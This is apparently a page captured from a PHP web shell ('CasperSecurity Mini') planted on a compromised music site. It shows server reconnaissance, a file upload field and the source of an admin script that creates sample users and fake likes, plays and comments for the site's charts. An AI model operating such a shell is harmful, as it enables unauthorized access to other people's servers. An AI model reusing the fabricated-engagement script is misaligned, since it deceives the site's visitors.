404 Not Found

T.ME/BIBIL_0DAY
Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory : /home/gositeme/domains/soundstudiopro.com/public_html/
Upload File :
Current File : /home/gositeme/domains/soundstudiopro.com/public_html/setup_charts.php
<?php
session_start();
require_once 'config/database.php';

// Only allow admin to run this
if (!isset($_SESSION['user_id']) || !isset($_SESSION['is_admin']) || !$_SESSION['is_admin']) {
    die('Access denied. Admin only.');
}

$pdo = getDBConnection();

// Handle form submissions
$action = $_POST['action'] ?? '';
if ($action === 'create_users') {
    include 'create_sample_users.php';
    exit;
}

if ($action === 'generate_data') {
    include 'generate_chart_data.php';
    exit;
}

// Check current data
$track_count = $pdo->query("SELECT COUNT(*) FROM music_tracks WHERE status = 'complete'")->fetchColumn();
$user_count = $pdo->query("SELECT COUNT(*) FROM users")->fetchColumn();
$like_count = $pdo->query("SELECT COUNT(*) FROM track_likes")->fetchColumn();
$play_count = $pdo->query("SELECT COUNT(*) FROM track_plays")->fetchColumn();
$comment_count = $pdo->query("SELECT COUNT(*) FROM track_comments")->fetchColumn();
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Setup Charts - SoundStudioPro</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
</head>
<body>
    <div class="container">
        <h1>🎵 Charts Setup</h1>
        
        <div class="stats-grid">
            <div class="stat-card">
                <div class="stat-icon"><i class="fas fa-music"></i></div>
                <div class="stat-value"><?= $track_count ?></div>
                <div class="stat-label">Tracks</div>
            </div>
            <div class="stat-card">
                <div class="stat-icon"><i class="fas fa-users"></i></div>
                <div class="stat-value"><?= $user_count ?></div>
                <div class="stat-label">Users</div>
            </div>
            <div class="stat-card">
                <div class="stat-icon"><i class="fas fa-heart"></i></div>
                <div class="stat-value"><?= $like_count ?></div>
                <div class="stat-label">Likes</div>
            </div>
            <div class="stat-card">
                <div class="stat-icon"><i class="fas fa-play"></i></div>
                <div class="stat-value"><?= $play_count ?></div>
                <div class="stat-label">Plays</div>
            </div>
            <div class="stat-card">
                <div class="stat-icon"><i class="fas fa-comment"></i></div>
                <div class="stat-value"><?= $comment_count ?></div>
                <div class="stat-label">Comments</div>
            </div>
        </div>
        
        <div class="setup-actions">
            <div class="action-card">
                <h3><i class="fas fa-users"></i> Step 1: Create Sample Users</h3>
                <p>Create 10 sample users to generate realistic engagement data.</p>
                <form method="post">
                    <input type="hidden" name="action" value="create_users">
                    <button type="submit" class="btn btn-primary">
                        <i class="fas fa-plus"></i> Create Sample Users
                    </button>
                </form>
            </div>
            
            <div class="action-card">
                <h3><i class="fas fa-chart-line"></i> Step 2: Generate Chart Data</h3>
                <p>Generate realistic likes, plays, comments, and shares for your tracks.</p>
                <form method="post">
                    <input type="hidden" name="action" value="generate_data">
                    <button type="submit" class="btn btn-secondary">
                        <i class="fas fa-magic"></i> Generate Chart Data
                    </button>
                </form>
            </div>
        </div>
        
        <div class="view-charts">
            <h3><i class="fas fa-eye"></i> View Charts</h3>
            <p>Once you've generated the data, view your charts page.</p>
            <a href="/charts.php" class="btn btn-success">
                <i class="fas fa-chart-line"></i> View Charts Page
            </a>
        </div>
    </div>
</body>
</html>

<style>
body {
    font-family: 'Inter', sans-serif;
    background: #0a0a0a;
    color: white;
    margin: 0;
    padding: 2rem;
    line-height: 1.6;
}

.container {
    max-width: 1200px;
    margin: 0 auto;
}

h1 {
    color: #667eea;
    margin-bottom: 3rem;
    text-align: center;
    font-size: 2.5rem;
}

.stats-grid {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
    gap: 2rem;
    margin-bottom: 3rem;
}

.stat-card {
    background: rgba(255, 255, 255, 0.05);
    border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 16px;
    padding: 2rem;
    text-align: center;
    transition: all 0.3s ease;
}

.stat-card:hover {
    transform: translateY(-4px);
    box-shadow: 0 8px 32px rgba(102, 126, 234, 0.3);
}

.stat-icon {
    font-size: 2rem;
    color: #667eea;
    margin-bottom: 1rem;
}

.stat-value {
    font-size: 2.5rem;
    font-weight: 700;
    color: white;
    margin-bottom: 0.5rem;
}

.stat-label {
    color: #a0aec0;
    text-transform: uppercase;
    letter-spacing: 1px;
    font-size: 0.9rem;
}

.setup-actions {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
    gap: 2rem;
    margin-bottom: 3rem;
}

.action-card {
    background: rgba(255, 255, 255, 0.05);
    border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 16px;
    padding: 2rem;
    transition: all 0.3s ease;
}

.action-card:hover {
    transform: translateY(-2px);
    box-shadow: 0 4px 16px rgba(102, 126, 234, 0.2);
}

.action-card h3 {
    color: #667eea;
    margin-bottom: 1rem;
    display: flex;
    align-items: center;
    gap: 0.5rem;
}

.action-card p {
    color: #a0aec0;
    margin-bottom: 1.5rem;
}

.btn {
    padding: 1rem 2rem;
    border: none;
    border-radius: 12px;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.3s ease;
    text-decoration: none;
    display: inline-flex;
    align-items: center;
    gap: 0.5rem;
    font-size: 1rem;
}

.btn-primary {
    background: linear-gradient(135deg, #667eea, #764ba2);
    color: white;
}

.btn-primary:hover {
    transform: translateY(-2px);
    box-shadow: 0 4px 16px rgba(102, 126, 234, 0.4);
}

.btn-secondary {
    background: rgba(255, 255, 255, 0.1);
    color: white;
    border: 1px solid rgba(255, 255, 255, 0.2);
}

.btn-secondary:hover {
    background: rgba(102, 126, 234, 0.2);
    transform: translateY(-2px);
}

.btn-success {
    background: linear-gradient(135deg, #48bb78, #38a169);
    color: white;
}

.btn-success:hover {
    transform: translateY(-2px);
    box-shadow: 0 4px 16px rgba(72, 187, 120, 0.4);
}

.view-charts {
    text-align: center;
    background: rgba(255, 255, 255, 0.05);
    border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 16px;
    padding: 2rem;
}

.view-charts h3 {
    color: #667eea;
    margin-bottom: 1rem;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 0.5rem;
}

.view-charts p {
    color: #a0aec0;
    margin-bottom: 1.5rem;
}

@media (max-width: 768px) {
    .setup-actions {
        grid-template-columns: 1fr;
    }
    
    .stats-grid {
        grid-template-columns: repeat(2, 1fr);
    }
}
</style>
CasperSecurity Mini